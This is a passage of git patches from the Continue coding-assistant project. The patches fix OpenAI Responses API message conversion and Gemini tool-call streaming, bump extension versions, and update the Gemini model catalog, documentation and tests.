"rs_001" }, + } as ChatMessage, + // No assistant/function_call follows — interrupted conversation + ]; + + const result = toResponsesInput(messages); + + const reasoning = getReasoningItems(result); + expect(reasoning.length).toBe(0); + }); + }); + + describe("orphaned function_call_output removal", () => { + it("should remove function_call_output with no matching function_call", () => { + // This can happen when conversation history is truncated/pruned + const messages: ChatMessage[] = [ + { + role: "user", + content: "Hello", + }, + // function_call was pruned, but tool result remains + { + role: "tool", + content: "result data", + toolCallId: "call_orphan", + } as ChatMessage, + { + role: "assistant", + content: "Here are the results.", + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + const outputs = getFunctionCallOutputs(result); + expect(outputs.length).toBe(0); + + // Other items should be preserved + const userMsgs = getMessagesByRole(result, "user"); + expect(userMsgs.length).toBe(1); + const assistantMsgs = getMessagesByRole(result, "assistant"); + expect(assistantMsgs.length).toBe(1); + }); + + it("should keep function_call_output that has a matching function_call", () => { + const messages: ChatMessage[] = [ + { + role: "assistant", + content: "", + toolCalls: [ + { + id: "call_valid", + type: "function", + function: { name: "tool", arguments: "{}" }, + }, + ], + metadata: { responsesOutputItemIds: ["fc_valid"] }, + } as ChatMessage, + { + role: "tool", + content: "result", + toolCallId: "call_valid", + } as ChatMessage, + ]; + + const result = toResponsesInput(messages); + + const outputs = getFunctionCallOutputs(result); + expect(outputs.length).toBe(1); + expect(outputs[0].call_id).toBe("call_valid"); + }); + }); + describe("edge cases", () => { it("should handle empty messages array", () => { const result = toResponsesInput([]); @@ -380,7 +716,7 @@ describe("openaiTypeConverters", () => { role: "assistant", content: "No tools needed", toolCalls: [], - metadata: { responsesOutputItemId: "fc_empty" }, + metadata: { responsesOutputItemId: "msg_empty" }, } as ChatMessage, ]; @@ -389,7 +725,7 @@ describe("openaiTypeConverters", () => { const functionCalls = getFunctionCalls(result); expect(functionCalls.length).toBe(0); - // Should emit as regular message instead + // Should emit as message with msg_ ID const assistantMessages = getMessagesByRole(result, "assistant"); expect(assistantMessages.length).toBe(1); }); @@ -415,9 +751,11 @@ describe("openaiTypeConverters", () => { const result = toResponsesInput(messages); - // Should not emit function_call without fc_ ID + // Should still emit function_call (without id) const functionCalls = getFunctionCalls(result); - expect(functionCalls.length).toBe(0); + expect(functionCalls.length).toBe(1); + expect(functionCalls[0].id).toBeUndefined(); + expect(functionCalls[0].call_id).toBe("call_test"); }); it("should handle more toolCalls than responsesOutputItemIds", () => { @@ -451,11 +789,12 @@ describe("openaiTypeConverters", () => { const result = toResponsesInput(messages); - // Should only emit 2 function_calls (matching the available IDs) + // All 3 function_calls should be emitted; third one without id const functionCalls = getFunctionCalls(result); - expect(functionCalls.length).toBe(2); + expect(functionCalls.length).toBe(3); expect(functionCalls[0].id).toBe("fc_001"); expect(functionCalls[1].id).toBe("fc_002"); + expect(functionCalls[2].id).toBeUndefined(); }); it("should handle toolCall with missing function name", () => { diff --git a/core/llm/openaiTypeConverters.ts b/core/llm/openaiTypeConverters.ts index c0c6d43a1..fb4673e11 100644 --- a/core/llm/openaiTypeConverters.ts +++ b/core/llm/openaiTypeConverters.ts @@ -11,10 +11,14 @@ import { import type { EasyInputMessage, Response as OpenAIResponse, + ResponseFunctionCallArgumentsDeltaEvent, ResponseFunctionToolCall, ResponseInput, ResponseInputItem, ResponseInputMessageContentList, + ResponseOutputItem, + ResponseOutputItemAddedEvent, + ResponseOutputItemDoneEvent, ResponseOutputMessage, ResponseOutputText, ResponseReasoningItem, @@ -431,22 +435,13 @@ function handleFunctionCallArgsDelta(e: any): ChatMessage | undefined { } function handleOutputItemAdded( - e: ResponseStreamEvent, + e: ResponseOutputItemAddedEvent, ): ChatMessage | undefined { - const item = (e as any).item as { - type?: string; - id?: string; - name?: string; - arguments?: string; - call_id?: string; - summary?: Array<{ type: string; text: string }>; - encrypted_content?: string; - }; - if (!item || !item.type) return undefined; + const { item } = e; if (item.type === "reasoning") { const details: Array<{ [k: string]: unknown }> = []; if (item.id) details.push({ type: "reasoning_id", id: item.id }); - if (typeof item.encrypted_content === "string" && item.encrypted_content) { + if (item.encrypted_content) { details.push({ type: "encrypted_content", encrypted_content: item.encrypted_content, @@ -459,44 +454,64 @@ function handleOutputItemAdded( } } } - const thinking: ThinkingChatMessage = { + return { role: "thinking", content: "", reasoning_details: details, metadata: { - reasoningId: item.id as string, - encrypted_content: item.encrypted_content as string | undefined, + reasoningId: item.id, + encrypted_content: item.encrypted_content ?? undefined, }, - }; - return thinking; + } satisfies ThinkingChatMessage; } - if (item.type === "message" && typeof item.id === "string") { + if (item.type === "message") { return { role: "assistant", content: "", metadata: { responsesOutputItemId: item.id }, }; } - if (item.type === "function_call" && typeof item.id === "string") { - const name = item.name as string | undefined; - const args = typeof item.arguments === "string" ? item.arguments : ""; - const call_id = item.call_id as string | undefined; - const toolCalls: ToolCallDelta[] = name + if (item.type === "function_call") { + const toolCalls: ToolCallDelta[] = item.name ? [ { - id: call_id || (item.id as string), + id: item.call_id || item.id, type: "function", - function: { name, arguments: args }, + function: { name: item.name, arguments: item.arguments || "" }, }, ] : []; - const assistant: AssistantChatMessage = { + return { role: "assistant", content: "", toolCalls, - metadata: { responsesOutputItemId: item.id as string }, - }; - return assistant; + metadata: { responsesOutputItemId: item.id }, + } satisfies AssistantChatMessage; + } + return undefined; +} + +// encrypted_content is only available at output_item.done, not at .added +function handleOutputItemDone( + e: ResponseOutputItemDoneEvent, +): ChatMessage | undefined { + const { item } = e; + if (item.type === "reasoning" && item.encrypted_content) { + return { + role: "thinking", + content: "", + reasoning_details: [ + ...(item.id ? [{ type: "reasoning_id", id: item.id }] : []), + { + type: "encrypted_content", + encrypted_content: item.encrypted_content, + }, + ], + metadata: { + reasoningId: item.id, + encrypted_content: item.encrypted_content, + }, + } satisfies ThinkingChatMessage; } return undefined; } @@ -580,7 +595,10 @@ function handleResponsesStreamEvent( return undefined; } if (t === "response.output_item.added") { - return handleOutputItemAdded(e); + return handleOutputItemAdded(e as ResponseOutputItemAddedEvent); + } + if (t === "response.output_item.done") { + return handleOutputItemDone(e as ResponseOutputItemDoneEvent); } if (t === "response.reasoning_summary_text.delta") { return handleReasoningSummaryDelta( @@ -793,20 +811,15 @@ function toResponseInputContentList( return list; } -/** - * Emits function_call items for each tool call that has a corresponding fc_ ID. - * Extracted to reduce cyclomatic complexity in toResponsesInput. - */ +/** Emits function_call items for each tool call. Omits `id` when no fc_ ID is available. */ function emitFunctionCallsFromToolCalls( toolCalls: ToolCallDelta[], - respIds: string[], + fcIds: string[], input: ResponseInput, ): void { for (let i = 0; i < toolCalls.length; i++) { const tc = toolCalls[i]; - const fcId = respIds[i]; - - if (!fcId) continue; // Skip if no fc_ ID for this tool call + const fcId = fcIds[i]; const name = tc?.function?.name as string | undefined; const args = tc?.function?.arguments as string | undefined; @@ -814,11 +827,11 @@ function emitFunctionCallsFromToolCalls( if (name && call_id) { const functionCallItem: ResponseFunctionToolCall = { - id: fcId, type: "function_call", name, arguments: typeof args === "string" ? args : "{}", call_id, + id: fcId, }; input.push(functionCallItem); } @@ -856,6 +869,18 @@ function convertThinkingMessageToReasoningItem( reasoningText += d.text; } + // Fallback to metadata if reasoning_details was incomplete + if (!id && typeof msg.metadata?.reasoningId === "string") { + id = msg.metadata.reasoningId; + } + if ( + !encrypted && + typeof msg.metadata?.encrypted_content === "string" && + (msg.metadata.encrypted_content as string).length > 0 + ) { + encrypted = msg.metadata.encrypted_content as string; + } + if (!id) return undefined; const reasoningItem: ResponseReasoningItem = { @@ -877,6 +902,87 @@ function convertThinkingMessageToReasoningItem( return reasoningItem; } +export function isItemType( + item: ResponseInputItem, + type: T["type"], +): item is T { + return "type" in item && item.type === type; +} + +function isValidSuccessor(item: ResponseInputItem | undefined): boolean { + if (!item) return false; + if (isItemType(item, "function_call")) return true; + if ("type" in item && item.type === "message") return true; + if ("role" in item && item.role === "assistant") return true; + return false; +} + +/** + * Fixes sequencing/ID issues that cause OpenAI Responses API 400 errors: + * - Removes reasoning without encrypted_content; strips id from subsequent items + * - Removes reasoning not followed by function_call or message + * - Removes orphaned function_call_output with no matching function_call + */ +function sanitizeResponsesInput(input: ResponseInput): ResponseInput { + const skipIndices = new Set(); + const stripIdIndices = new Set(); + + for (let i = 0; i < input.length; i++) { + if (!isItemType(input[i], "reasoning")) continue; + const reasoning = input[i] as ResponseReasoningItem; + + if (!reasoning.encrypted_content) { + // Can't pass reasoning without encrypted_content; strip id from + // subsequent items so the API doesn't expect the missing reasoning + skipIndices.add(i); + for (let j = i + 1; j < input.length; j++) { + if ( + isItemType(input[j], "function_call") || + ("type" in input[j] && input[j].type === "message") + ) { + stripIdIndices.add(j); + } else { + break; + } + } + continue; + } + + if (!isValidSuccessor(input[i + 1])) { + skipIndices.add(i); + } + } + + const result: ResponseInput = []; + for (let i = 0; i < input.length; i++) { + if (skipIndices.has(i)) continue; + if (stripIdIndices.has(i)) { + const { id: _id, ...rest } = input[i] as ResponseFunctionToolCall; + result.push(rest as ResponseInputItem); + } else { + result.push(input[i]); + } + } + + // Remove orphaned function_call_outputs + const validCallIds = new Set(); + for (const item of result) { + if (isItemType(item, "function_call")) { + validCallIds.add(item.call_id); + } + } + return result.filter((item) => { + if ( + !isItemType( + item, + "function_call_output", + ) + ) + return true; + return validCallIds.has(item.call_id); + }); +} + export function toResponsesInput(messages: ChatMessage[]): ResponseInput { const input: ResponseInput = []; @@ -915,34 +1021,48 @@ export function toResponsesInput(messages: ChatMessage[]): ResponseInput { } case "assistant": { const text = getTextFromMessageContent(msg.content); + const toolCalls = msg.toolCalls as ToolCallDelta[] | undefined; + // Separate fc_ IDs (for function_calls) from msg_ IDs (for messages) + const allRespIds = + (msg.metadata?.responsesOutputItemIds as string[] | undefined) || []; const respId = msg.metadata?.responsesOutputItemId as | string | undefined; - const toolCalls = msg.toolCalls as ToolCallDelta[] | undefined; - // Get array of fc_ IDs for parallel tool calls, fallback to single respId - // NOTE: responsesOutputItemIds is accumulated in sessionSlice.ts during streaming. - // We rely on OpenAI streaming events arriving in order, so respIds[i] corresponds - // to toolCalls[i] by position. See: https://platform.openai.com/docs/guides/function-calling - const respIds = - (msg.metadata?.responsesOutputItemIds as string[] | undefined) || - (respId ? [respId] : []); + const fcIds = allRespIds.filter((id) => id.startsWith("fc_")); + if (fcIds.length === 0 && respId?.startsWith("fc_")) { + fcIds.push(respId); + } + const msgId = + allRespIds.find((id) => id.startsWith("msg_")) || + (respId?.startsWith("msg_") ? respId : undefined); + + if (Array.isArray(toolCalls) && toolCalls.length > 0) { + emitFunctionCallsFromToolCalls(toolCalls, fcIds, input); - if ( - Array.isArray(toolCalls) && - toolCalls.length > 0 && - respIds.length > 0 - ) { - // Emit function_call for EACH tool call (supports parallel tool calls) - emitFunctionCallsFromToolCalls(toolCalls, respIds, input); - // Also emit text content if present alongside tool calls if (text && text.trim()) { - pushMessage("assistant", text); + if (msgId) { + const outputMessageItem: ResponseOutputMessage = { + id: msgId, + role: "assistant", + type: "message", + status: "completed", + content: [ + { + type: "output_text", + text, + annotations: [], + } satisfies ResponseOutputText, + ], + }; + input.push(outputMessageItem); + } else { + pushMessage("assistant", text); + } } - } else if (respId) { - // Emit full assistant output message item + } else if (msgId) { const outputMessageItem: ResponseOutputMessage = { - id: respId, + id: msgId, role: "assistant", type: "message", status: "completed", @@ -956,7 +1076,6 @@ export function toResponsesInput(messages: ChatMessage[]): ResponseInput { }; input.push(outputMessageItem); } else { - // Fallback to EasyInput assistant message pushMessage("assistant", text || ""); } break; @@ -987,7 +1106,7 @@ export function toResponsesInput(messages: ChatMessage[]): ResponseInput { } } - return input; + return sanitizeResponsesInput(input); } export type LlmApiRequestType = diff --git a/packages/openai-adapters/src/test/vercelStreamConverter.test.ts b/packages/openai-adapters/src/test/vercelStreamConverter.test.ts index 47216a95b..979d2e12b 100644 --- a/packages/openai-adapters/src/test/vercelStreamConverter.test.ts +++ b/packages/openai-adapters/src/test/vercelStreamConverter.test.ts @@ -37,7 +37,7 @@ describe("convertVercelStreamPart", () => { expect(result?.choices[0].delta.content).toBe("Let me think..."); }); - test("converts tool-call to chat chunk with tool_calls", () => { + test("returns null for tool-call without thoughtSignature", () => { const part: VercelStreamPart = { type: "tool-call", toolCallId: "call_abc123", @@ -45,21 +45,32 @@ describe("convertVercelStreamPart", () => { input: { filepath: "/path/to/file" }, }; + expect(convertVercelStreamPart(part, options)).toBeNull(); + }); + + test("converts tool-call with thoughtSignature to extra_content chunk", () => { + const part: VercelStreamPart = { + type: "tool-call", + toolCallId: "call_abc123", + toolName: "readFile", + input: { filepath: "/path/to/file" }, + providerMetadata: { + google: { + thoughtSignature: "sig123", + }, + }, + }; + const result = convertVercelStreamPart(part, options); expect(result).not.toBeNull(); expect(result?.choices[0].delta.tool_calls).toHaveLength(1); - expect(result?.choices[0].delta.tool_calls?.[0]).toEqual( - expect.objectContaining({ - index: 0, - id: "call_abc123", - type: "function", - function: { - name: "readFile", - arguments: '{"filepath":"/path/to/file"}', - }, - }), - ); + expect(result?.choices[0].delta.tool_calls?.[0]).toEqual({ + index: 0, + extra_content: { + google: { thought_signature: "sig123" }, + }, + }); }); test("converts tool-input-delta to chat chunk", () => { @@ -236,9 +247,9 @@ describe("convertVercelStream", () => { chunks.push(chunk); } - // Should get chunks for: text-delta (2), tool-input-start (1), tool-input-delta (1), tool-call (1), finish (1) = 6 - // start-step, tool-input-end, and finish-step are filtered out - expect(chunks).toHaveLength(6); + // text-delta (2) + tool-input-start (1) + tool-input-delta (1) + finish (1) = 5 + // start-step, tool-input-end, tool-call (no thoughtSignature), and finish-step are filtered out + expect(chunks).toHaveLength(5); expect(chunks[0].choices[0].delta.content).toBe("Hello "); expect(chunks[1].choices[0].delta.content).toBe("world"); @@ -249,8 +260,7 @@ describe("convertVercelStream", () => { expect(chunks[3].choices[0].delta.tool_calls?.[0].function?.arguments).toBe( '{"arg":"value"}', ); - expect(chunks[4].choices[0].delta.tool_calls?.[0].id).toBe("call_1"); - expect(chunks[5].usage).toBeDefined(); + expect(chunks[4].usage).toBeDefined(); }); test("throws error when stream contains error event", async () => { diff --git a/packages/openai-adapters/src/vercelStreamConverter.ts b/packages/openai-adapters/src/vercelStreamConverter.ts index 18a313ba7..7b9069dc5 100644 --- a/packages/openai-adapters/src/vercelStreamConverter.ts +++ b/packages/openai-adapters/src/vercelStreamConverter.ts @@ -138,24 +138,18 @@ export function convertVercelStreamPart( const thoughtSignature = part.providerMetadata?.google?.thoughtSignature ?? part.providerMetadata?.vertex?.thoughtSignature; + if (!thoughtSignature) { + return null; + } + // Emit only extra_content; args were already streamed via tool-input-delta. return chatChunkFromDelta({ delta: { tool_calls: [ { index: 0, - id: part.toolCallId, - type: "function" as const, - function: { - name: part.toolName, - arguments: JSON.stringify(part.input), + extra_content: { + google: { thought_signature: thoughtSignature }, }, - ...(thoughtSignature && { - extra_content: { - google: { - thought_signature: thoughtSignature, - }, - }, - }), } as any, ], }, From 9abc9b5b46fa889a9833ad99b765fb3c263d0736 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 20:06:00 -0700 Subject: [PATCH 54/66] jetbrains 63, vscode 34 (#11790) chore: prerlease bumps --- extensions/intellij/gradle.properties | 2 +- extensions/vscode/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/intellij/gradle.properties b/extensions/intellij/gradle.properties index 3f996f52f..54a351279 100644 --- a/extensions/intellij/gradle.properties +++ b/extensions/intellij/gradle.properties @@ -1,5 +1,5 @@ pluginGroup=com.github.continuedev.continueintellijextension -pluginVersion=1.0.62 +pluginVersion=1.0.63 platformVersion=2024.1 kotlin.stdlib.default.dependency=false org.gradle.configuration-cache=true diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index b496b7e0d..093c4f790 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -2,7 +2,7 @@ "name": "continue", "icon": "media/icon.png", "author": "Continue Dev, Inc", - "version": "1.3.33", + "version": "1.3.34", "repository": { "type": "git", "url": "https://github.com/continuedev/continue" From 09650d4a4f6f4485efd526d3ecf16d604ab6f144 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 20:22:47 -0700 Subject: [PATCH 55/66] fix(gemini): update model catalog for retired/new Gemini models (#11793) * fix(gemini): update model catalog for retired/new Gemini models Gemini 1.x models are fully retired (returning 404), gemini-3-pro-preview was shut down March 9 2026, and new 3.1 series models were missing. - Add gemini-3.1-pro-preview, gemini-3.1-flash-lite-preview, gemini-3.1-flash-image-preview - Replace gemini-3-pro-preview with gemini-3.1-pro-preview everywhere - Remove retired Gemini 1.x models (gemini-1.0-pro, gemini-1.5-pro, gemini-1.5-flash, gemini-1.5-flash-8b) - Remove retired experimental 2.0 image gen models - Fix default model from retired gemini-pro to gemini-2.5-flash - Update docs, onboarding config, VSCode schema, GUI model picker, VertexAI provider - Update isRecommendedAgentModel regex and tests Fixes #10996, #10998 * fix: address review comments - Add missing gemini-3.1-flash-image-preview to VS Code schema enum - Tighten isRecommendedAgentModel regex to match 3-flash-preview (not bare 3-flash) - Update case-insensitivity tests for new model names * fix: fix misleading test description and inconsistent doc heading - Rename test to "Gemini 3.1 Pro and 3 Flash Preview models" to match assertions - Update chat.mdx heading from "Gemini 3 Pro" to "Gemini 3.1 Pro" --- core/config/onboarding.ts | 2 +- core/llm/llms/CometAPI.ts | 2 +- core/llm/llms/Gemini.ts | 2 +- core/llm/toolSupport.test.ts | 10 +- core/llm/toolSupport.ts | 2 +- .../model-providers/top-level/gemini.mdx | 2 +- docs/customize/model-roles/chat.mdx | 10 +- docs/customize/models.mdx | 4 +- docs/snippets/ModelRecommendations.jsx | 4 +- extensions/vscode/config_schema.json | 7 +- gui/src/pages/AddNewModel/configs/models.ts | 31 +++-- .../pages/AddNewModel/configs/providers.ts | 3 +- packages/llm-info/src/providers/cometapi.ts | 4 +- packages/llm-info/src/providers/gemini.ts | 108 +++++------------- packages/llm-info/src/providers/vertexai.ts | 74 ++++++------ 15 files changed, 117 insertions(+), 148 deletions(-) diff --git a/core/config/onboarding.ts b/core/config/onboarding.ts index e55286c0e..cffb78aa0 100644 --- a/core/config/onboarding.ts +++ b/core/config/onboarding.ts @@ -19,7 +19,7 @@ const OPENAI_MODEL_CONFIG = { // TODO: These need updating on the hub const GEMINI_MODEL_CONFIG = { - slugs: ["google/gemini-2.5-pro", "google/gemini-2.5-flash"], + slugs: ["google/gemini-3.1-pro-preview", "google/gemini-3-flash-preview"], apiKeyInputName: "GEMINI_API_KEY", }; diff --git a/core/llm/llms/CometAPI.ts b/core/llm/llms/CometAPI.ts index fb4df7124..62c2ad9ea 100644 --- a/core/llm/llms/CometAPI.ts +++ b/core/llm/llms/CometAPI.ts @@ -207,7 +207,7 @@ class CometAPI extends OpenAI { "claude-3-5-haiku-latest", // Gemini series - "gemini-3-pro-preview", + "gemini-3.1-pro-preview", "gemini-2.5-pro", "gemini-2.5-flash", "gemini-2.5-flash-lite", diff --git a/core/llm/llms/Gemini.ts b/core/llm/llms/Gemini.ts index 3e48a6331..66766fbc8 100644 --- a/core/llm/llms/Gemini.ts +++ b/core/llm/llms/Gemini.ts @@ -36,7 +36,7 @@ class Gemini extends BaseLLM { static providerName = "gemini"; static defaultOptions: Partial = { - model: "gemini-pro", + model: "gemini-2.5-flash", apiBase: "https://generativelanguage.googleapis.com/v1beta/", maxStopWords: 5, maxEmbeddingBatchSize: 100, diff --git a/core/llm/toolSupport.test.ts b/core/llm/toolSupport.test.ts index 5be68bfa2..2ecb72cad 100644 --- a/core/llm/toolSupport.test.ts +++ b/core/llm/toolSupport.test.ts @@ -452,9 +452,9 @@ describe("isRecommendedAgentModel", () => { expect(isRecommendedAgentModel("gemini-2.5-pro-preview")).toBe(true); }); - it("should return true for Gemini 3 Pro models", () => { - expect(isRecommendedAgentModel("gemini-3-pro-preview")).toBe(true); - expect(isRecommendedAgentModel("gemini-3-pro")).toBe(true); + it("should return true for Gemini 3.1 Pro and 3 Flash Preview models", () => { + expect(isRecommendedAgentModel("gemini-3.1-pro-preview")).toBe(true); + expect(isRecommendedAgentModel("gemini-3-flash-preview")).toBe(true); }); it("should return false for Gemini Flash models", () => { @@ -519,14 +519,14 @@ describe("isRecommendedAgentModel", () => { describe("case insensitivity", () => { it("should handle uppercase model names", () => { - expect(isRecommendedAgentModel("GEMINI-3-PRO-PREVIEW")).toBe(true); + expect(isRecommendedAgentModel("GEMINI-3.1-PRO-PREVIEW")).toBe(true); expect(isRecommendedAgentModel("CLAUDE-4-SONNET")).toBe(true); expect(isRecommendedAgentModel("DEEPSEEK-R1")).toBe(true); expect(isRecommendedAgentModel("O3-MINI")).toBe(true); }); it("should handle mixed case model names", () => { - expect(isRecommendedAgentModel("Gemini-3-Pro")).toBe(true); + expect(isRecommendedAgentModel("Gemini-3.1-Pro-Preview")).toBe(true); expect(isRecommendedAgentModel("Claude-Opus-4")).toBe(true); expect(isRecommendedAgentModel("DeepSeek-Reasoner")).toBe(true); }); diff --git a/core/llm/toolSupport.ts b/core/llm/toolSupport.ts index a80fea628..3e0578a97 100644 --- a/core/llm/toolSupport.ts +++ b/core/llm/toolSupport.ts @@ -461,7 +461,7 @@ export function isRecommendedAgentModel(modelName: string): boolean { [/o[134]/], [/deepseek/, /r1|reasoner/], [/gemini/, /2\.5/, /pro/], - [/gemini/, /3-pro/], + [/gemini/, /3\.1-pro|3-flash-preview/], [/gpt/, /-5|5\.1|5\.2/], [/gpt-4\.1/], [/codex/], diff --git a/docs/customize/model-providers/top-level/gemini.mdx b/docs/customize/model-providers/top-level/gemini.mdx index 546cfd8d0..fc1e9b84c 100644 --- a/docs/customize/model-providers/top-level/gemini.mdx +++ b/docs/customize/model-providers/top-level/gemini.mdx @@ -45,5 +45,5 @@ sidebarTitle: "Gemini" - **Check out a more advanced configuration [here](https://continue.dev/google/gemini-2.5-pro?view=config)** + **Check out a more advanced configuration [here](https://continue.dev/google/gemini-3.1-pro-preview?view=config)** diff --git a/docs/customize/model-roles/chat.mdx b/docs/customize/model-roles/chat.mdx index a6990d4c7..60139c79d 100644 --- a/docs/customize/model-roles/chat.mdx +++ b/docs/customize/model-roles/chat.mdx @@ -134,13 +134,13 @@ If you prefer to use a model from [xAI](../model-providers/more/xAI), then we re -### Gemini 3 Pro from Google +### Gemini 3.1 Pro from Google -If you prefer to use a model from [Google](../model-providers/top-level/gemini), then we recommend Gemini 3 Pro. +If you prefer to use a model from [Google](../model-providers/top-level/gemini), then we recommend Gemini 3.1 Pro. - Add the [Gemini 3 Pro block](https://continue.dev/google/gemini-3-pro-preview) from the hub + Add the [Gemini 3.1 Pro block](https://continue.dev/google/gemini-3.1-pro-preview) from the hub ```yaml title="config.yaml" @@ -149,9 +149,9 @@ If you prefer to use a model from [Google](../model-providers/top-level/gemini), schema: v1 models: - - name: Gemini 3 Pro + - name: Gemini 3.1 Pro provider: gemini - model: gemini-3-pro-preview + model: gemini-3.1-pro-preview apiKey: ``` diff --git a/docs/customize/models.mdx b/docs/customize/models.mdx index accc9b8d7..d9893f015 100644 --- a/docs/customize/models.mdx +++ b/docs/customize/models.mdx @@ -66,10 +66,10 @@ Read more about [model roles](/customize/model-roles), [model capabilities](/cus 3. Add `OPENROUTER_API_KEY` as a [User Secret](https://docs.continue.dev/mission-control/secrets/secret-types#user-secrets) on Continue Mission Control [here](https://continue.dev/settings/secrets) 4. Click `Reload config` in the config selector in the Continue IDE extension -[Gemini 2.5 Pro](https://continue.dev/google/gemini-2.5-pro) from Google +[Gemini 3.1 Pro](https://continue.dev/google/gemini-3.1-pro-preview) from Google 1. Get your API key from [Google AI Studio](https://aistudio.google.com) -2. Add [Gemini 2.5 Pro](https://continue.dev/google/gemini-2.5-pro) a config on Continue Mission Control +2. Add [Gemini 3.1 Pro](https://continue.dev/google/gemini-3.1-pro-preview) a config on Continue Mission Control 3. Add `GEMINI_API_KEY` as a [User Secret](https://docs.continue.dev/mission-control/secrets/secret-types#user-secrets) on Continue Mission Control [here](https://continue.dev/settings/secrets) 4. Click `Reload config` in the config selector in the Continue IDE extension diff --git a/docs/snippets/ModelRecommendations.jsx b/docs/snippets/ModelRecommendations.jsx index e680f0684..6fcafb6cc 100644 --- a/docs/snippets/ModelRecommendations.jsx +++ b/docs/snippets/ModelRecommendations.jsx @@ -57,7 +57,7 @@ export const ModelRecommendations = ({ role = "all" }) => { "[Claude Opus 4.1](https://continue.dev/anthropic/claude-4-1-opus)", "[Claude Sonnet 4](https://continue.dev/anthropic/claude-4-sonnet)", "[GPT-5](https://continue.dev/openai/gpt-5)", - "[Gemini 2.5 Pro](https://continue.dev/google/gemini-2.5-pro)", + "[Gemini 3.1 Pro](https://continue.dev/google/gemini-3.1-pro-preview)", ], notes: "Closed models are slightly better than open models", }, @@ -72,7 +72,7 @@ export const ModelRecommendations = ({ role = "all" }) => { "[Claude Opus 4.1](https://continue.dev/anthropic/claude-4-1-opus)", "[Claude Sonnet 4](https://continue.dev/anthropic/claude-4-sonnet)", "[GPT-5](https://continue.dev/openai/gpt-5)", - "[Gemini 2.5 Pro](https://continue.dev/google/gemini-2.5-pro)", + "[Gemini 3.1 Pro](https://continue.dev/google/gemini-3.1-pro-preview)", ], notes: "Closed and open models have pretty similar performance", }, diff --git a/extensions/vscode/config_schema.json b/extensions/vscode/config_schema.json index 251bc5c2d..3fc8ca019 100644 --- a/extensions/vscode/config_schema.json +++ b/extensions/vscode/config_schema.json @@ -969,12 +969,13 @@ }, "model": { "enum": [ - "gemini-3-pro-preview", + "gemini-3.1-pro-preview", + "gemini-3.1-flash-lite-preview", + "gemini-3.1-flash-image-preview", "gemini-3-flash-preview", "gemini-2.5-pro", "gemini-2.5-flash", - "gemini-2.5-flash-lite", - "gemini-pro" + "gemini-2.5-flash-lite" ] } } diff --git a/gui/src/pages/AddNewModel/configs/models.ts b/gui/src/pages/AddNewModel/configs/models.ts index 92d578daa..3b8b7d0ea 100644 --- a/gui/src/pages/AddNewModel/configs/models.ts +++ b/gui/src/pages/AddNewModel/configs/models.ts @@ -1041,14 +1041,14 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["gemini"], isOpenSource: false, }, - gemini3ProPreview: { - title: "Gemini 3 Pro", + gemini31ProPreview: { + title: "Gemini 3.1 Pro", description: - "Google's latest Pro model with up to 64k output context. Best for complex tasks involving reasoning.", + "Google's most capable model with 2M context window. Best for complex tasks involving reasoning.", params: { - title: "Gemini 3 Pro", - model: "gemini-3-pro-preview", - contextLength: 1_048_576, + title: "Gemini 3.1 Pro", + model: "gemini-3.1-pro-preview", + contextLength: 2_097_152, apiKey: "", }, icon: "gemini.png", @@ -2306,10 +2306,10 @@ export const models: { [key: string]: ModelPackage } = { isOpenSource: false, }, gemini3FlashPreview: { - title: "Gemini 3 Flash Preview", - description: "Google's next-generation Flash model with strong reasoning.", + title: "Gemini 3 Flash", + description: "High-speed thinking model for agentic workflows and coding.", params: { - title: "Gemini 3 Flash Preview", + title: "Gemini 3 Flash", model: "gemini-3-flash-preview", contextLength: 1_048_576, apiKey: "", @@ -2318,6 +2318,19 @@ export const models: { [key: string]: ModelPackage } = { providerOptions: ["gemini"], isOpenSource: false, }, + gemini31FlashLitePreview: { + title: "Gemini 3.1 Flash Lite", + description: "Cost-efficient model optimized for high-volume tasks.", + params: { + title: "Gemini 3.1 Flash Lite", + model: "gemini-3.1-flash-lite-preview", + contextLength: 1_048_576, + apiKey: "", + }, + icon: "gemini.png", + providerOptions: ["gemini"], + isOpenSource: false, + }, devstralSmall: { title: "Devstral Small", description: "Mistral's small code-focused model for development tasks.", diff --git a/gui/src/pages/AddNewModel/configs/providers.ts b/gui/src/pages/AddNewModel/configs/providers.ts index c4c8a9a57..88b245cbd 100644 --- a/gui/src/pages/AddNewModel/configs/providers.ts +++ b/gui/src/pages/AddNewModel/configs/providers.ts @@ -752,8 +752,9 @@ Select the \`GPT-4o\` model below to complete your provider configuration, but n }, ], packages: [ - models.gemini3ProPreview, + models.gemini31ProPreview, models.gemini3FlashPreview, + models.gemini31FlashLitePreview, models.gemini25Pro, models.gemini25Flash, models.gemini25FlashLite, diff --git a/packages/llm-info/src/providers/cometapi.ts b/packages/llm-info/src/providers/cometapi.ts index d0957be7c..edb938a12 100644 --- a/packages/llm-info/src/providers/cometapi.ts +++ b/packages/llm-info/src/providers/cometapi.ts @@ -172,8 +172,8 @@ export const CometAPI: ModelProvider = { // Gemini Series { - model: "gemini-3-pro-preview", - displayName: "Gemini 3 Pro Preview", + model: "gemini-3.1-pro-preview", + displayName: "Gemini 3.1 Pro Preview", contextLength: 2000000, maxCompletionTokens: 8192, description: diff --git a/packages/llm-info/src/providers/gemini.ts b/packages/llm-info/src/providers/gemini.ts index da8e97daf..c5c8a5f25 100644 --- a/packages/llm-info/src/providers/gemini.ts +++ b/packages/llm-info/src/providers/gemini.ts @@ -3,28 +3,52 @@ import { AllMediaTypes, ModelProvider } from "../types.js"; // See https://ai.google.dev/gemini-api/docs/models export const Gemini: ModelProvider = { models: [ + // Gemini 3.1 series { - model: "gemini-3-pro-preview", - displayName: "Gemini 3 Pro Preview", + model: "gemini-3.1-pro-preview", + displayName: "Gemini 3.1 Pro Preview", description: - "Google's flagship frontier model with high precision multimodal capabilities.", + "Google's most capable model with 2M context window and high precision multimodal capabilities.", + contextLength: 2097152, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /gemini-3\.1-pro-preview/i, + recommendedFor: ["chat"], + }, + { + model: "gemini-3.1-flash-lite-preview", + displayName: "Gemini 3.1 Flash Lite Preview", + description: + "Cost-efficient model optimized for high-volume tasks with fast inference.", contextLength: 1048576, maxCompletionTokens: 65536, mediaTypes: 